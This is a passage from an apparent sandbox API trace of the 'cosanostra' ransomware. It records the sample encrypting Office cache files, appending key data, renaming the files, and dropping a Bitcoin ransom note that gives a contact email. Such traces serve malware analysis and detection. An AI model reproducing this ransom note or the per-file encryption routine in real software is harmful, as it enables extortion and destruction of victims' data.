Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.cosanostra")) returned 1 [0077.522] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.523] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0077.523] WriteFile (in: hFile=0x134, lpBuffer=0x26ffb97*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd58, lpOverlapped=0x0 | out: lpBuffer=0x26ffb97*, lpNumberOfBytesWritten=0x26ffd58*=0x1bf, lpOverlapped=0x0) returned 1 [0077.524] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0077.524] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd58, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd58*=0x2ac, lpOverlapped=0x0) returned 1 [0077.524] CloseHandle (hObject=0x134) returned 1 [0077.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcf8 | out: pbBuffer=0x26ffcf8) returned 1 [0077.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffcf0*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffcf0*=0x30) returned 1 [0077.525] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.525] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.525] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0077.526] ReadFile (in: hFile=0x134, lpBuffer=0x27a0d8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffcb4, lpOverlapped=0x0 | out: lpBuffer=0x27a0d8*, lpNumberOfBytesRead=0x26ffcb4*=0x750, lpOverlapped=0x0) returned 1 [0077.547] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff8b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.547] WriteFile (in: hFile=0x134, lpBuffer=0x27a0d8*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x26ffcb4, lpOverlapped=0x0 | out: lpBuffer=0x27a0d8*, lpNumberOfBytesWritten=0x26ffcb4*=0x750, lpOverlapped=0x0) returned 1 [0077.548] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.548] WriteFile (in: hFile=0x134, lpBuffer=0x26ffcf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffcb4, lpOverlapped=0x0 | out: lpBuffer=0x26ffcf4*, lpNumberOfBytesWritten=0x26ffcb4*=0x4, lpOverlapped=0x0) returned 1 [0077.548] WriteFile (in: hFile=0x134, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffcb4, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffcb4*=0x30, lpOverlapped=0x0) returned 1 [0077.548] CloseHandle (hObject=0x134) returned 1 [0077.551] wnsprintfW (in: pszDest=0x27a0d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0077.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0077.661] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcf0 | out: pbBuffer=0x26ffcf0) returned 1 [0077.661] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffce8*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffce8*=0x30) returned 1 [0077.661] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.662] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 81 [0077.662] StrStrW (lpFirst="ProjectMUI.xml", lpSrch=".txt") returned 0x0 [0077.662] ReadFile (in: hFile=0x134, lpBuffer=0x27a0d8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x27a0d8*, lpNumberOfBytesRead=0x26ffcac*=0x5ac, lpOverlapped=0x0) returned 1 [0077.663] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.663] WriteFile (in: hFile=0x134, lpBuffer=0x27a0d8*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x27a0d8*, lpNumberOfBytesWritten=0x26ffcac*=0x5ac, lpOverlapped=0x0) returned 1 [0077.663] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.664] WriteFile (in: hFile=0x134, lpBuffer=0x26ffcec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x26ffcec*, lpNumberOfBytesWritten=0x26ffcac*=0x4, lpOverlapped=0x0) returned 1 [0077.664] WriteFile (in: hFile=0x134, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffcac*=0x30, lpOverlapped=0x0) returned 1 [0077.664] CloseHandle (hObject=0x134) returned 1 [0077.668] wnsprintfW (in: pszDest=0x27a0d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.cosanostra") returned 92 [0077.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.cosanostra")) returned 1 [0077.669] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcf0 | out: pbBuffer=0x26ffcf0) returned 1 [0077.669] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffce8*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffce8*=0x30) returned 1 [0077.669] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.673] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 81 [0077.673] StrStrW (lpFirst="ProjectMUI.msi", lpSrch=".txt") returned 0x0 [0077.673] ReadFile (in: hFile=0x134, lpBuffer=0x28c120, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x28c120*, lpNumberOfBytesRead=0x26ffcac*=0x2800, lpOverlapped=0x0) returned 1 [0077.675] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.675] WriteFile (in: hFile=0x134, lpBuffer=0x28c120*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x28c120*, lpNumberOfBytesWritten=0x26ffcac*=0x2800, lpOverlapped=0x0) returned 1 [0077.676] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.676] WriteFile (in: hFile=0x134, lpBuffer=0x26ffcec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x26ffcec*, lpNumberOfBytesWritten=0x26ffcac*=0x4, lpOverlapped=0x0) returned 1 [0077.677] WriteFile (in: hFile=0x134, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffcac, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffcac*=0x30, lpOverlapped=0x0) returned 1 [0077.677] CloseHandle (hObject=0x134) returned 1 [0077.915] wnsprintfW (in: pszDest=0x28fe48, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.cosanostra") returned 92 [0077.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.cosanostra")) returned 1 [0077.916] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffce8 | out: pbBuffer=0x26ffce8) returned 1 [0077.916] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffce0*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffce0*=0x30) returned 1 [0077.916] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.917] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffce8 | out: pbBuffer=0x26ffce8) returned 1 [0077.917] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffce0*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffce0*=0x30) returned 1 [0077.917] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.917] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.919] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0077.919] WriteFile (in: hFile=0x134, lpBuffer=0x26ffb7f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd40, lpOverlapped=0x0 | out: lpBuffer=0x26ffb7f*, lpNumberOfBytesWritten=0x26ffd40*=0x1bf, lpOverlapped=0x0) returned 1 [0077.920] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0077.920] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd40, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd40*=0x2ac, lpOverlapped=0x0) returned 1 [0077.920] CloseHandle (hObject=0x134) returned 1 [0077.920] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffce0 | out: pbBuffer=0x26ffce0) returned 1 [0077.920] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffcd8*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffcd8*=0x30) returned 1 [0077.920] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.075] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.076] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0078.076] ReadFile (in: hFile=0x138, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x26ffc9c*=0x5ac, lpOverlapped=0x0) returned 1 [0078.103] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.103] WriteFile (in: hFile=0x138, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x26ffc9c*=0x5ac, lpOverlapped=0x0) returned 1 [0078.104] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.104] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x26ffcdc*, lpNumberOfBytesWritten=0x26ffc9c*=0x4, lpOverlapped=0x0) returned 1 [0078.104] WriteFile (in: hFile=0x138, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffc9c*=0x30, lpOverlapped=0x0) returned 1 [0078.104] CloseHandle (hObject=0x138) returned 1 [0078.106] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0078.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0078.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcd8 | out: pbBuffer=0x26ffcd8) returned 1 [0078.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffcd0*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffcd0*=0x30) returned 1 [0078.107] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.107] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.107] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0078.107] ReadFile (in: hFile=0x138, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x26ffc94*=0x2488, lpOverlapped=0x0) returned 1 [0078.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdb78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.124] WriteFile (in: hFile=0x138, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x26ffc94*=0x2488, lpOverlapped=0x0) returned 1 [0078.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.124] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x26ffcd4*, lpNumberOfBytesWritten=0x26ffc94*=0x4, lpOverlapped=0x0) returned 1 [0078.125] WriteFile (in: hFile=0x138, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffc94*=0x30, lpOverlapped=0x0) returned 1 [0078.125] CloseHandle (hObject=0x138) returned 1 [0078.126] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0078.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0078.127] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcd8 | out: pbBuffer=0x26ffcd8) returned 1 [0078.127] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcd0*=0x30) returned 1 [0078.127] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.127] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 77 [0078.127] StrStrW (lpFirst="pss10r.chm", lpSrch=".txt") returned 0x0 [0078.127] ReadFile (in: hFile=0x138, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x26ffc94*=0x2800, lpOverlapped=0x0) returned 1 [0078.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.235] WriteFile (in: hFile=0x138, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x26ffc94*=0x2800, lpOverlapped=0x0) returned 1 [0078.236] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.236] WriteFile (in: hFile=0x138, lpBuffer=0x26ffcd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x26ffcd4*, lpNumberOfBytesWritten=0x26ffc94*=0x4, lpOverlapped=0x0) returned 1 [0078.236] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffc94*=0x30, lpOverlapped=0x0) returned 1 [0078.236] CloseHandle (hObject=0x138) returned 1 [0078.239] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.cosanostra") returned 88 [0078.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.cosanostra")) returned 1 [0078.240] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffcd0 | out: pbBuffer=0x26ffcd0) returned 1 [0078.240] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffcc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffcc8*=0x30) returned 1 [0078.240] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0078.240] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All 